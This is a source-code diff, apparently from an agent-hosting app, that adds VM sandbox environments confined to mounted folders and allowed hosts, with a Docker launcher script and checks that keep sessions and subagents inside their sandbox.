# Named by the Dockerfile only (Node and QEMU), not by the launcher version: launcher versions of several p2
|
||||
# installations share the container and run their own files from their directories in the shared home.
|
||||
tag=$(sha256sum "$D/Dockerfile" | cut -c1-16)
|
||||
image="p2-sandbox:$tag"
|
||||
container="p2-sandbox-$(id -u)-$tag"
|
||||
if [ "$(docker inspect -f '{{.State.Running}}' "$container" 2>/dev/null || true)" != true ]; then
|
||||
lock
|
||||
if [ "$(docker inspect -f '{{.State.Running}}' "$container" 2>/dev/null || true)" != true ]; then
|
||||
if ! docker image inspect "$image" >/dev/null 2>&1; then
|
||||
echo "p2-sandbox: building the Docker image $image (first time only)" >&2
|
||||
docker build -q -t "$image" - <"$D/Dockerfile" >&2
|
||||
fi
|
||||
docker rm -f "$container" >/dev/null 2>&1 || true
|
||||
docker run -d --name "$container" --restart unless-stopped --init \
|
||||
--device /dev/kvm --group-add "$(stat -c %g /dev/kvm)" \
|
||||
--user "$(id -u):$(id -g)" -e HOME="$HOME" -v "$HOME:$HOME" \
|
||||
"$image" sleep infinity >/dev/null
|
||||
fi
|
||||
unlock
|
||||
fi
|
||||
install_gondolin docker exec -i "$container"
|
||||
exec docker exec -i -e P2_SANDBOX_RUNTIME=docker "$container" node "$D/p2-sandbox.mjs" "$@"
|
||||
;;
|
||||
*)
|
||||
echo "p2-sandbox: this host cannot run sandboxes (needs Linux with /dev/kvm, and Node >= 22 with QEMU >= 7.2 or Docker)" >&2
|
||||
exit 3
|
||||
;;
|
||||
esac
|
||||
|
|
@ -1,9 +1,11 @@
|
|||
import { bool, int, obj, opt, type Static, str } from "@earendil-works/pi-schema";
|
||||
import { arr, bool, int, obj, opt, type Static, str, union } from "@earendil-works/pi-schema";
|
||||
import { literal, record } from "@p2/app/v1";
|
||||
|
||||
/** Browser-safe configuration shape. No credentials are kept in envs.json. */
|
||||
export const ENV_NAME = /^[a-z0-9][a-z0-9_-]{0,31}$/;
|
||||
export const EnvConfigSchema = obj({
|
||||
|
||||
/** A machine reached over SSH. */
|
||||
export const SshEnvConfigSchema = obj({
|
||||
type: literal("ssh"),
|
||||
host: str({ minLength: 1, maxLength: 255 }),
|
||||
user: opt(str({ minLength: 1, maxLength: 255 })),
|
||||
|
|
@ -13,5 +15,36 @@ export const EnvConfigSchema = obj({
|
|||
loginShell: opt(bool()),
|
||||
shellEnv: opt(record(str())),
|
||||
});
|
||||
|
||||
/** A folder of the host shared with a sandbox at `guest`; `host` is absolute or starts with `~` (the host user's home). */
|
||||
export const SandboxMountSchema = obj({
|
||||
host: str({ minLength: 1, maxLength: 4096 }),
|
||||
guest: str({ minLength: 2, maxLength: 4096 }),
|
||||
readonly: opt(bool()),
|
||||
});
|
||||
|
||||
/**
|
||||
* A Gondolin sandbox: a VM on the SSH environment `host`. It sees only its folders and reaches only its allowed hosts
|
||||
* over HTTP(S); conversations working in it cannot leave it.
|
||||
*/
|
||||
export const GondolinEnvConfigSchema = obj({
|
||||
type: literal("gondolin"),
|
||||
host: str({ minLength: 1, maxLength: 32 }),
|
||||
image: opt(str({ minLength: 1, maxLength: 255 })),
|
||||
mounts: opt(arr(SandboxMountSchema, { maxItems: 16 })),
|
||||
allowHosts: opt(arr(str({ minLength: 1, maxLength: 255 }), { maxItems: 256 })),
|
||||
cpus: opt(int({ minimum: 1, maximum: 64 })),
|
||||
memoryMb: opt(int({ minimum: 256, maximum: 262144 })),
|
||||
});
|
||||
|
||||
export const EnvConfigSchema = union([SshEnvConfigSchema, GondolinEnvConfigSchema]);
|
||||
export type SshEnvConfig = Static<typeof SshEnvConfigSchema>;
|
||||
export type GondolinEnvConfig = Static<typeof GondolinEnvConfigSchema>;
|
||||
export type SandboxMount = Static<typeof SandboxMountSchema>;
|
||||
export type EnvConfig = Static<typeof EnvConfigSchema>;
|
||||
export type EnvsConfig = Record<string, EnvConfig>;
|
||||
|
||||
/** Whether `name` is a sandbox, decided by its configuration's type (never its name). */
|
||||
export function isSandbox(envs: EnvsConfig, name: string): boolean {
|
||||
return Object.hasOwn(envs, name) && envs[name]?.type === "gondolin";
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,3 +1,4 @@
|
|||
import { pluginFile } from "@earendil-works/chord/plugins";
|
||||
import { nul, num, obj, str, union } from "@earendil-works/pi-schema";
|
||||
import {
|
||||
contribute,
|
||||
|
|
@ -16,7 +17,7 @@ import { Hosts, Server } from "@p2/app/v1/server";
|
|||
import { Catalog, type Session } from "../sessions/contract.ts";
|
||||
import { StatusStore } from "../status/contract.ts";
|
||||
import { type Child, ChildStore } from "../subagents/contract.ts";
|
||||
import { envRevision } from "./config.ts";
|
||||
import { envRevision, sandboxesOn } from "./config.ts";
|
||||
import { EnvManagers, EnvService, Envs, EnvTestSchema } from "./contract.ts";
|
||||
import { EnvManager } from "./manager.ts";
|
||||
import { EnvStore } from "./store.ts";
|
||||
|
|
@ -74,7 +75,9 @@ export default defineFacet((host) => {
|
|||
const edited = Object.keys({ ...previous, ...revisions }).filter(
|
||||
(name) => previous[name] !== revisions[name],
|
||||
);
|
||||
for (const name of edited)
|
||||
// A host's edit reaches its sandboxes too: their connections go through it.
|
||||
const affected = new Set(edited.flatMap((name) => [name, ...sandboxesOn(configs, name).map(([on]) => on)]));
|
||||
for (const name of affected)
|
||||
for (const session of sessionsUsing(name, sessions, children))
|
||||
if (workers[session.id]?.running) draft.pending[session.id] = workers[session.id]!.generation;
|
||||
}, ctx);
|
||||
|
|
@ -108,6 +111,7 @@ export default defineFacet((host) => {
|
|||
new EnvManager(
|
||||
server.info.value.dataDir,
|
||||
async (name) => sessionsUsing(name, catalog.sessions.value, children.children.value).length,
|
||||
pluginFile("sandbox"),
|
||||
),
|
||||
(opened) => opened.close(),
|
||||
);
|
||||
|
|
@ -204,6 +208,9 @@ export default defineFacet((host) => {
|
|||
publicKey: async ({ name }) => (await manager().manager.publicKey(name)) ?? null,
|
||||
listDirectory: ({ env, path }) =>
|
||||
env ? manager().manager.listDirectory(env, path) : listLocalDirectory(path),
|
||||
sandboxStatus: ({ name }) => manager().manager.sandboxStatus(name),
|
||||
sandboxStart: ({ name }) => manager().manager.sandboxStart(name),
|
||||
sandboxStop: ({ name }) => manager().manager.sandboxStop(name),
|
||||
},
|
||||
};
|
||||
});
|
||||
|
|
|
|||
42
apps/p2/plugins/envs/style.css
Normal file
42
apps/p2/plugins/envs/style.css
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
/* Sandboxes (Gondolin VMs on an SSH environment): list rows, VM state, folders. */
|
||||
.env-sandbox {
|
||||
padding-left: calc(var(--x) + var(--s5));
|
||||
}
|
||||
.vm-dot {
|
||||
display: inline-block;
|
||||
width: 7px;
|
||||
height: 7px;
|
||||
margin-right: var(--s1);
|
||||
border-radius: 50%;
|
||||
background: var(--faint);
|
||||
vertical-align: middle;
|
||||
}
|
||||
.vm-dot.running {
|
||||
background: var(--ok);
|
||||
}
|
||||
.vm-dot.unknown {
|
||||
border: 1px solid var(--faint);
|
||||
background: transparent;
|
||||
}
|
||||
.sandbox-intro {
|
||||
margin-bottom: var(--s3);
|
||||
}
|
||||
.sandbox-status {
|
||||
margin-bottom: var(--s3);
|
||||
}
|
||||
.sandbox-folders {
|
||||
gap: var(--s2);
|
||||
}
|
||||
.sandbox-folder {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--s3);
|
||||
}
|
||||
.sandbox-folder > span:first-child {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
overflow-wrap: anywhere;
|
||||
}
|
||||
.directory-leave {
|
||||
margin-top: var(--s3);
|
||||
}
|
||||
|
|
@ -91,7 +91,7 @@ function openEnvs(ctx: TuiContext): void {
|
|||
const accept = async (env: EnvSummary) => {
|
||||
const service = owner();
|
||||
const key = env.test && !env.test.ok ? env.test.hostKey : undefined;
|
||||
if (!service || service.variant !== "owner" || !key) return;
|
||||
if (!service || service.variant !== "owner" || !key || env.config.type !== "ssh") return;
|
||||
const yes = await confirm(ctx, [
|
||||
`Trust ${env.name}'s host key?`,
|
||||
`${lineText(env.config.user ? `${env.config.user}@` : "")}${lineText(env.config.host)}${env.config.port ? `:${env.config.port}` : ""} · ${key.state === "changed" ? "the key CHANGED since it was trusted" : "unknown key"}`,
|
||||
|
|
@ -119,7 +119,11 @@ function openEnvs(ctx: TuiContext): void {
|
|||
},
|
||||
...envs.map((env) => ({
|
||||
key: env.name,
|
||||
label: `${mark(env.name)}${env.name} ${env.config.user ? `${env.config.user}@` : ""}${env.config.host}`,
|
||||
label: `${mark(env.name)}${env.name} ${
|
||||
env.config.type === "gondolin"
|
||||
? `sandbox on ${env.config.host}`
|
||||
: `${env.config.user ? `${env.config.user}@` : ""}${env.config.host}`
|
||||
}`,
|
||||
detail: `${current?.env === env.name ? "this session · " : ""}${detail(env)} · ${env.sessions} session${env.sessions === 1 ? "" : "s"}`,
|
||||
...(env.test && !env.test.ok
|
||||
? { description: env.test.error, color: "error" as const }
|
||||
|
|
|
|||
|
|
@ -1,6 +1,7 @@
|
|||
import { contribute, defineFacet } from "@p2/app/v1";
|
||||
import { closeLayers, openLayer, Slots, useOwner, useSheet } from "@p2/app/v1/web";
|
||||
import { EnvsPanel } from "./EnvsPanel.tsx";
|
||||
import "./style.css";
|
||||
|
||||
function EnvsButton() {
|
||||
const sheet = useSheet("envs");
|
||||
|
|
|
|||
|
|
@ -1,11 +1,22 @@
|
|||
import { pluginFile } from "@earendil-works/chord/plugins";
|
||||
import { contribute, defineFacet } from "@p2/app/v1";
|
||||
import { HarnessEnvironments, workerOf } from "@p2/app/v1/worker";
|
||||
import { loadEnvs } from "./config.ts";
|
||||
import { isSandbox, loadEnvs } from "./config.ts";
|
||||
import { remoteSession } from "./remote-env.ts";
|
||||
import { EnvStore } from "./store.ts";
|
||||
|
||||
export default defineFacet((host) => {
|
||||
contribute(host, "p2.worker-envs", (self) => {
|
||||
const worker = workerOf(self);
|
||||
const launcher = pluginFile("sandbox");
|
||||
const store = self.open(
|
||||
async () => {
|
||||
const opened = new EnvStore(worker().init.dataDir);
|
||||
await opened.observer.start();
|
||||
return opened;
|
||||
},
|
||||
(opened) => opened.observer.close(),
|
||||
);
|
||||
self.contribute(HarnessEnvironments, {
|
||||
remote: {
|
||||
open: async (env) => {
|
||||
|
|
@ -14,13 +25,19 @@ export default defineFacet((host) => {
|
|||
const config = Object.hasOwn(configs, env) ? configs[env] : undefined;
|
||||
if (!config) throw new Error(`Environment "${env}" is not configured; refusing local execution`);
|
||||
// One connection for every conversation working on this environment, at its directories.
|
||||
const remote = remoteSession(dataDir, env, config, "/");
|
||||
const remote = remoteSession(dataDir, env, config, "/", { launcher });
|
||||
return { at: remote.at, close: () => remote.connection.close() };
|
||||
},
|
||||
host: async (env) => {
|
||||
describe: async (env) => {
|
||||
const configs = await loadEnvs(worker().init.dataDir);
|
||||
return Object.hasOwn(configs, env) ? configs[env]?.host : undefined;
|
||||
const config = Object.hasOwn(configs, env) ? configs[env] : undefined;
|
||||
if (config?.type === "ssh") return `the remote environment "${env}" (SSH host ${config.host})`;
|
||||
if (config?.type === "gondolin")
|
||||
return `the sandbox "${env}" (a VM on the environment "${config.host}"; you cannot leave it, and only its own folders and allowed hosts are reachable)`;
|
||||
return undefined;
|
||||
},
|
||||
// The observed envs.json: a sandbox stays one while its configuration is valid (the last valid state).
|
||||
sandbox: (env) => isSandbox(store.value.snapshot.configs, env),
|
||||
},
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -7,6 +7,8 @@ import { DirectoryListingSchema, literal, method, remote, serverHost } from "@p2
|
|||
/** One environment as an agent sees it: never keys or identity files. */
|
||||
export const EnvInfoSchema = obj({
|
||||
name: str(),
|
||||
/** `gondolin`: a sandbox, `host` naming the SSH environment it runs on; conversations working there cannot leave it. */
|
||||
type: union([literal("ssh"), literal("gondolin")]),
|
||||
host: str(),
|
||||
user: opt(str()),
|
||||
port: opt(num()),
|
||||
|
|
@ -27,7 +29,7 @@ export const AgentLocations = remote("p2.agent-locations", {
|
|||
variants: {
|
||||
worker: {
|
||||
methods: {
|
||||
/** The configured SSH environments (this device is always available besides them). */
|
||||
/** The configured SSH environments and sandboxes (this device is always available besides them). */
|
||||
envs: method(obj({ origin: Owner }), obj({ envs: arr(EnvInfoSchema) })),
|
||||
/** Folders of `path` (absolute or `~`-relative) on `env` (null: this device), as the directory picker lists them. */
|
||||
directories: method(
|
||||
|
|
@ -40,7 +42,7 @@ export const AgentLocations = remote("p2.agent-locations", {
|
|||
),
|
||||
/**
|
||||
* Moves the worker's session (`SessionMoves.relocate`); `refused` is why its busy worker could not be fenced
|
||||
* (nothing moved).
|
||||
* (nothing moved). A session working in a sandbox only moves within it (only the owner's Relocate leaves it).
|
||||
*/
|
||||
move: method(
|
||||
obj({
|
||||
|
|
|
|||
|
|
@ -2,7 +2,8 @@ import { defineFacet, forbidden, isWorker, nativeOf } from "@p2/app/v1";
|
|||
import { envRevision, listLocalDirectory } from "@p2/app/v1/node";
|
||||
import { Hosts } from "@p2/app/v1/server";
|
||||
import { EnvManagers, EnvService } from "../envs/contract.ts";
|
||||
import { SessionMoves } from "../sessions/contract.ts";
|
||||
import { isSandbox } from "../envs/schema.ts";
|
||||
import { Catalog, SessionMoves } from "../sessions/contract.ts";
|
||||
import { AgentLocations, type EnvInfo } from "./contract.ts";
|
||||
|
||||
export default defineFacet((host) => {
|
||||
|
|
@ -14,6 +15,7 @@ export default defineFacet((host) => {
|
|||
const envs = self.get(EnvService, {});
|
||||
const managers = nativeOf(self, EnvManagers, "The SSH manager");
|
||||
const moves = self.get(SessionMoves, {});
|
||||
const catalog = self.get(Catalog, {});
|
||||
const current = () => {
|
||||
const worker = hosts.workers.value[session];
|
||||
if (!worker?.running || worker.generation !== generation) throw forbidden("stale worker");
|
||||
|
|
@ -31,9 +33,10 @@ export default defineFacet((host) => {
|
|||
const last = tests[name]?.revision === envRevision(config) ? tests[name]?.test : undefined;
|
||||
return {
|
||||
name,
|
||||
type: config.type,
|
||||
host: config.host,
|
||||
...(config.user === undefined ? {} : { user: config.user }),
|
||||
...(config.port === undefined ? {} : { port: config.port }),
|
||||
...(config.type !== "ssh" || config.user === undefined ? {} : { user: config.user }),
|
||||
...(config.type !== "ssh" || config.port === undefined ? {} : { port: config.port }),
|
||||
...(last === undefined
|
||||
? {}
|
||||
: {
|
||||
|
|
@ -51,6 +54,10 @@ export default defineFacet((host) => {
|
|||
},
|
||||
move: async ({ env, cwd }, ctx) => {
|
||||
current();
|
||||
// The location tools refuse this already; the server keeps a sandboxed session in its sandbox too.
|
||||
const from = catalog.sessions.value.find((entry) => entry.id === session)?.env;
|
||||
if (from && from !== env && isSandbox(envs.configs.value, from))
|
||||
throw forbidden(`this session works in sandbox ${from} and cannot leave it`);
|
||||
return moves.relocate({ id: session, env, cwd }, ctx);
|
||||
},
|
||||
},
|
||||
|
|
|
|||
|
|
@ -29,15 +29,25 @@ export type LocationTools = {
|
|||
readonly locate: (id: ConversationId, read: DocumentReader, context: Context) => Promise<Location>;
|
||||
};
|
||||
|
||||
/**
|
||||
* The sandbox a conversation working at `here` is confined to, decided by its environment's configured type: it may
|
||||
* move within the sandbox, never out of it (only the owner's Relocate leaves it).
|
||||
*/
|
||||
export const sandboxAt = (here: Location, envs: readonly EnvInfo[]): string | undefined =>
|
||||
here.env !== null && envs.some((env) => env.name === here.env && env.type === "gondolin") ? here.env : undefined;
|
||||
|
||||
const describeEnv = (env: EnvInfo, here: Location): string => {
|
||||
const target = `${env.user ? `${env.user}@` : ""}${env.host}${env.port ? `:${env.port}` : ""}`;
|
||||
const target =
|
||||
env.type === "gondolin"
|
||||
? `sandbox (a VM on ${env.host})`
|
||||
: `ssh ${env.user ? `${env.user}@` : ""}${env.host}${env.port ? `:${env.port}` : ""}`;
|
||||
const tested =
|
||||
env.tested === undefined
|
||||
? "not tested"
|
||||
: env.tested.ok
|
||||
? `tested ok (${env.tested.platform} ${env.tested.arch})`
|
||||
: `last test failed: ${env.tested.error}`;
|
||||
return `- ${env.name}: ssh ${target} · ${tested}${here.env === env.name ? " · you are here" : ""}`;
|
||||
return `- ${env.name}: ${target} · ${tested}${here.env === env.name ? " · you are here" : ""}`;
|
||||
};
|
||||
|
||||
export function createLocationExtension({ server, locate }: LocationTools) {
|
||||
|
|
@ -47,7 +57,9 @@ export function createLocationExtension({ server, locate }: LocationTools) {
|
|||
here: Location,
|
||||
context: Context,
|
||||
): Promise<{ listing: DirectoryListing; env: string | null } | string> => {
|
||||
const names = (await server.envs(context)).map((env) => env.name);
|
||||
const envs = await server.envs(context);
|
||||
const names = envs.map((env) => env.name);
|
||||
const sandbox = sandboxAt(here, envs);
|
||||
const parsed =
|
||||
args.location !== undefined
|
||||
? parseLocation(args.location, names, here)
|
||||
|
|
@ -56,6 +68,8 @@ export function createLocationExtension({ server, locate }: LocationTools) {
|
|||
...(args.env === undefined || args.env === here.env ? { cwd: here.cwd } : {}),
|
||||
});
|
||||
if ("error" in parsed) return parsed.error;
|
||||
if (sandbox !== undefined && parsed.env !== sandbox)
|
||||
return `You work in sandbox ${sandbox} and cannot leave it; use paths inside ${sandbox}.`;
|
||||
if (parsed.env !== null && !names.includes(parsed.env))
|
||||
return `Unknown environment "${parsed.env}" (location_envs lists them).`;
|
||||
try {
|
||||
|
|
@ -86,7 +100,7 @@ export function createLocationExtension({ server, locate }: LocationTools) {
|
|||
defineP2Tool({
|
||||
name: "location_envs",
|
||||
description:
|
||||
"List the environments you can work on: this device and the configured SSH environments (host, last test). Shows where you work now.",
|
||||
"List the environments you can work on: this device, the configured SSH environments (host, last test) and sandboxes. Shows where you work now.",
|
||||
parameters: obj({}, { open: true }),
|
||||
replay: "safe",
|
||||
origin: "owner",
|
||||
|
|
@ -98,6 +112,15 @@ export function createLocationExtension({ server, locate }: LocationTools) {
|
|||
});
|
||||
const here = await locate(api.conversationId, api, context);
|
||||
const envs = await server.envs(context);
|
||||
const sandbox = sandboxAt(here, envs);
|
||||
if (sandbox !== undefined)
|
||||
return reply(
|
||||
[
|
||||
`You work at ${locationText(here)}, in sandbox ${sandbox}: a VM whose tools reach only its own files and allowed hosts.`,
|
||||
"You cannot leave it; location_dirs and location_move take paths inside it.",
|
||||
...envs.filter((env) => env.name === sandbox).map((env) => describeEnv(env, here)),
|
||||
].join("\n"),
|
||||
);
|
||||
// The session's move is kept on conversation 1 whichever top-level conversation asked for it.
|
||||
const move = (await isTopLevel(api, api.conversationId, context))
|
||||
? await api.snapshot(LocationMoveDoc, ROOT_CONVERSATION_ID, context)
|
||||
|
|
|
|||
|
|
@ -3,7 +3,6 @@
|
|||
// (pi-env); the daemon killed the programs it ran, and their instances reconnect.
|
||||
|
||||
import type { Connection } from "@earendil-works/pi-env";
|
||||
import { envRevision } from "@p2/app/v1/node";
|
||||
import type { EnvConfig } from "../envs/config.ts";
|
||||
|
||||
/** A connection to environment `name` configured as `config`, which starts at its first request. */
|
||||
|
|
@ -21,9 +20,12 @@ export class EnvConnections {
|
|||
this.#connect = connect;
|
||||
}
|
||||
|
||||
/** The connection to `name` as configured now (opened for its first user); release it once done. */
|
||||
acquire(name: string, config: EnvConfig): EnvLease {
|
||||
const key = JSON.stringify([name, envRevision(config)]);
|
||||
/**
|
||||
* The connection to `name` as configured now (`revision`: its connection revision; opened for its first user);
|
||||
* release it once done.
|
||||
*/
|
||||
acquire(name: string, config: EnvConfig, revision: string): EnvLease {
|
||||
const key = JSON.stringify([name, revision]);
|
||||
let entry = this.#open.get(key);
|
||||
if (entry === undefined) {
|
||||
entry = { connection: this.#connect(name, config), users: 0 };
|
||||
|
|
|
|||
|
|
@ -8,8 +8,8 @@ import { join, resolve } from "node:path";
|
|||
import { pathToFileURL } from "node:url";
|
||||
import type { McpStdioServerConfig } from "@earendil-works/pi-mcp";
|
||||
import { type Location, locationText } from "@p2/app/v1";
|
||||
import { envRevision } from "@p2/app/v1/node";
|
||||
import type { EnvConfig } from "../envs/config.ts";
|
||||
import { connectionRevision } from "../envs/connection-revision.ts";
|
||||
import type { OwnerConfig, OwnerServer } from "./config.ts";
|
||||
import type { RunsOn } from "./contract.ts";
|
||||
import type { Lease } from "./leases.ts";
|
||||
|
|
@ -22,6 +22,8 @@ export type RemoteConnect = {
|
|||
/** The environment's name in envs.json, and its configuration there. */
|
||||
readonly environment: string;
|
||||
readonly config: EnvConfig;
|
||||
/** The connection's revision: the configuration's, a sandbox's with its host's (`connectionRevision`). */
|
||||
readonly revision: string;
|
||||
readonly command: string;
|
||||
readonly args: readonly string[];
|
||||
readonly env: Readonly<Record<string, string>>;
|
||||
|
|
@ -227,10 +229,11 @@ function stdioSpec(
|
|||
};
|
||||
}
|
||||
const envConfig = Object.hasOwn(envs, runsOn.env) ? envs[runsOn.env] : undefined;
|
||||
// An edited environment is another connection: its instances start again on it.
|
||||
const key = ["stdio", source, server, owner, runsOn, envConfig === undefined ? null : envRevision(envConfig), hash];
|
||||
// An edited environment (or a sandbox's edited host) is another connection: its instances start again on it.
|
||||
const revision = envConfig === undefined ? null : connectionRevision(envs, envConfig);
|
||||
const key = ["stdio", source, server, owner, runsOn, revision, hash];
|
||||
const spec = { id: idOf(key), server, source, location, runsOn, timeoutMs };
|
||||
if (envConfig === undefined)
|
||||
if (envConfig === undefined || revision === null)
|
||||
return { ...spec, connect: { kind: "unplaced", reason: `environment "${runsOn.env}" is not in envs.json` } };
|
||||
return {
|
||||
...spec,
|
||||
|
|
@ -238,6 +241,7 @@ function stdioSpec(
|
|||
kind: "remote",
|
||||
environment: runsOn.env,
|
||||
config: envConfig,
|
||||
revision,
|
||||
command,
|
||||
args,
|
||||
env,
|
||||
|
|
|
|||
|
|
@ -37,7 +37,7 @@ export type AuthProviders = (server: OAuthServer) => AuthProvider;
|
|||
export function transportsFor(connect: Connect, envs: EnvConnections, auth: AuthProviders): Transports {
|
||||
switch (connect.kind) {
|
||||
case "remote": {
|
||||
const lease = envs.acquire(connect.environment, connect.config);
|
||||
const lease = envs.acquire(connect.environment, connect.config, connect.revision);
|
||||
return { open: () => remoteTransport(connect, lease.connection), release: () => lease.release() };
|
||||
}
|
||||
case "host":
|
||||
|
|
|
|||
|
|
@ -28,6 +28,7 @@ import {
|
|||
useSheet,
|
||||
} from "@p2/app/v1/web";
|
||||
import { useCallback, useEffect, useMemo, useRef, useState, useSyncExternalStore } from "react";
|
||||
import { Envs } from "../envs/contract.ts";
|
||||
import { directoryPickerLayer } from "../envs/contract.web.tsx";
|
||||
import { Search, SessionReads } from "../search/contract.ts";
|
||||
import { SessionStatus } from "../status/contract.ts";
|
||||
|
|
@ -199,6 +200,12 @@ function Sidebar() {
|
|||
if (shown && marks && latest > read)
|
||||
void marks.markRead({ session: shown, through: latest }, BACKGROUND_CONTEXT).catch(() => {});
|
||||
}, [marks, shown, latest, read]);
|
||||
// Sandboxed groups show a lock; only the owner reads environments.
|
||||
const envs = useReadable(useObject(Envs, owner ? {} : undefined)?.envs);
|
||||
const sandboxes = useMemo(
|
||||
() => new Set((envs ?? []).flatMap((env) => (env.config.type === "gondolin" ? [env.name] : []))),
|
||||
[envs],
|
||||
);
|
||||
const search = liveIn(useObject(Search, owner ? {} : undefined), "owner");
|
||||
// A rebuild shows as running at once; it is long work (a job), so the sheet shows it running until it is done.
|
||||
const [rebuilds, reindex] = useOptimisticCall(
|
||||
|
|
@ -293,6 +300,7 @@ function Sidebar() {
|
|||
<Drawer
|
||||
sessions={sessions}
|
||||
guest={guest}
|
||||
sandboxes={sandboxes}
|
||||
activeId={route.session}
|
||||
conversationId={route.conversation}
|
||||
connected={connected}
|
||||
|
|
|
|||
|
|
@ -207,6 +207,20 @@ const everyTool = (caller: CallerTools): ToolRegistration[] => [
|
|||
/** Where a tool works, as its plugin declared it. */
|
||||
const scopeOf = (tool: ToolRegistration, access: ReadonlyMap<string, P2Tool>) => access.get(tool.name)?.scope ?? "any";
|
||||
|
||||
/**
|
||||
* The own location a one-shot agent inherited from the conversation whose script started it (a subagent with its own
|
||||
* location, or another one-shot agent of one); absent: it follows the session like its caller.
|
||||
*/
|
||||
export const InheritedLocation = defineDoc<{ location?: Location }>({
|
||||
kind: "p2.inherited-location",
|
||||
version: 1,
|
||||
scope: "conversation",
|
||||
history: "latest",
|
||||
fork: "initial",
|
||||
initial: () => ({}),
|
||||
checkpointWhen: () => true,
|
||||
});
|
||||
|
||||
/**
|
||||
* Gives the subagent working in `conversationId` its own location `location` (a granted `location_move`), in `tx`:
|
||||
* its registry entry and its agent cwd. False when the conversation is not a subagent (one-shot agents are not).
|
||||
|
|
|
|||
|
|
@ -31,6 +31,7 @@ import { answerOrigin, defineP2Tool, mainConversation, originOf, type P2Tool } f
|
|||
import { AGENT_MESSAGE_ENTRY, type AgentMessage, SUBAGENT_TASK_ENTRY, SubagentLocationsSchema } from "./contract.ts";
|
||||
import {
|
||||
CODEMODE_TOOL,
|
||||
InheritedLocation,
|
||||
resolveChoice,
|
||||
resolveTools,
|
||||
Subagents,
|
||||
|
|
@ -285,7 +286,10 @@ export function spawnEnvironments(
|
|||
};
|
||||
}
|
||||
|
||||
/** A conversation's own location (a subagent spawned with a cwd), or undefined: it follows the session. */
|
||||
/**
|
||||
* A conversation's own location (a subagent spawned with a cwd, or a one-shot agent started by a conversation with
|
||||
* one), or undefined: it follows the session.
|
||||
*/
|
||||
export async function ownLocation(
|
||||
read: DocumentReader,
|
||||
conversationId: ConversationId,
|
||||
|
|
@ -293,7 +297,8 @@ export async function ownLocation(
|
|||
): Promise<Location | undefined> {
|
||||
if (conversationId === ROOT_CONVERSATION_ID) return undefined;
|
||||
const registry = await read.snapshot(Subagents, ROOT_CONVERSATION_ID, context);
|
||||
return Object.values(registry?.agents ?? {}).find((agent) => agent.conversationId === conversationId)?.location;
|
||||
const own = Object.values(registry?.agents ?? {}).find((agent) => agent.conversationId === conversationId)?.location;
|
||||
return own ?? (await read.snapshot(InheritedLocation, conversationId, context))?.location;
|
||||
}
|
||||
|
||||
/** Where the conversation calling a tool works (the session's, or its own), for a spawned subagent's own location. */
|
||||
|
|
@ -302,6 +307,8 @@ export type Locate = (conversationId: ConversationId, read: DocumentReader, cont
|
|||
/** What the subagent tool needs to place subagents: locating conversations and resolving directories. */
|
||||
export type SubagentLocator = {
|
||||
readonly locate: Locate;
|
||||
/** The sandbox a conversation working at `location` is confined to (its environment's configured type), if any. */
|
||||
readonly sandbox: (location: Location) => Promise<string | undefined>;
|
||||
/** `target` as an existing directory's location, relative to `from` (see `resolveDirectory`), or why not. */
|
||||
readonly directory: (
|
||||
target: LocationInput,
|
||||
|
|
@ -321,6 +328,10 @@ export async function placeTarget(
|
|||
context: Context,
|
||||
): Promise<Location | string> {
|
||||
const env = args.env === undefined ? caller.env : args.env;
|
||||
// A caller in a sandbox places its subagents in the same sandbox only.
|
||||
const sandbox = await locator.sandbox(caller);
|
||||
if (sandbox !== undefined && env !== sandbox)
|
||||
return `You work in sandbox ${sandbox}; your subagents can only work inside it.`;
|
||||
const resolved = await locator.directory({ env, path: args.cwd ?? "" }, caller, context);
|
||||
if (!("error" in resolved)) return resolved;
|
||||
const where = `${env === caller.env ? "" : `${env ?? "local"}:`}${args.cwd ?? "~"}`;
|
||||
|
|
@ -525,10 +536,21 @@ export function createSubagentExtension(
|
|||
const caller = await locator.locate(api.conversationId, api, context);
|
||||
if (args.env !== undefined && args.env !== caller.env && origin !== "owner")
|
||||
return reply("Another environment needs a turn the owner started.", {}, true);
|
||||
const placed = await placeTarget(locator, caller, args, context);
|
||||
// A subagent in a sandbox: a cwd alone means a path in that sandbox (it cannot be placed elsewhere).
|
||||
const kept =
|
||||
agent?.location && args.env === undefined ? await locator.sandbox(agent.location) : undefined;
|
||||
const target = kept === undefined ? args : { ...args, env: kept };
|
||||
const placed = await placeTarget(locator, caller, target, context);
|
||||
if (typeof placed === "string") return reply(placed, {}, true);
|
||||
location = placed;
|
||||
}
|
||||
// A subagent working in a sandbox stays there, whoever configures it (only the owner's Relocate leaves one).
|
||||
const sandbox = agent?.location === undefined ? undefined : await locator.sandbox(agent.location);
|
||||
if (sandbox !== undefined && location !== undefined) {
|
||||
const next = location ?? (await locator.locate(ROOT_CONVERSATION_ID, api, context));
|
||||
if (next.env !== sandbox)
|
||||
return reply(`${name} works in sandbox ${sandbox} and cannot leave it.`, {}, true);
|
||||
}
|
||||
} else if (agent) {
|
||||
// A send: what it was given that its caller can no longer give is taken away (the caller's tools changed).
|
||||
const own = await api.agent(context);
|
||||
|
|
|
|||
|
|
@ -125,6 +125,7 @@ export default defineFacet((host, self) => {
|
|||
{
|
||||
locate: (conversationId, read, context) => locateConversation(harnessValue, conversationId, context, read),
|
||||
directory: (target, from, context) => resolveDirectory(harness().environments, target, from, context),
|
||||
sandbox: (location) => harness().environments.sandbox(location.env),
|
||||
},
|
||||
access,
|
||||
);
|
||||
|
|
|
|||
|
|
@ -1,4 +1,5 @@
|
|||
// The detached host reads the same validated SSH configurations as coding sessions.
|
||||
// The detached host reads the same validated SSH and sandbox configurations as coding sessions.
|
||||
// The server supplies the catalog's session.env; browsers cannot choose a machine.
|
||||
export { envRevision, loadEnvs } from "../envs/config.ts";
|
||||
export { sshOptions } from "../envs/remote-env.ts";
|
||||
export { connectionRevision } from "../envs/connection-revision.ts";
|
||||
export { envConnection, sandboxHost, sshOptions } from "../envs/remote-env.ts";
|
||||
|
|
|
|||
|
|
@ -2,11 +2,11 @@ import { randomBytes } from "node:crypto";
|
|||
import { readFile, rm } from "node:fs/promises";
|
||||
import { createServer, type Socket } from "node:net";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { Connection, detectPlatform, openTerminal, type RemoteTerminal, sshConnection } from "@earendil-works/pi-env";
|
||||
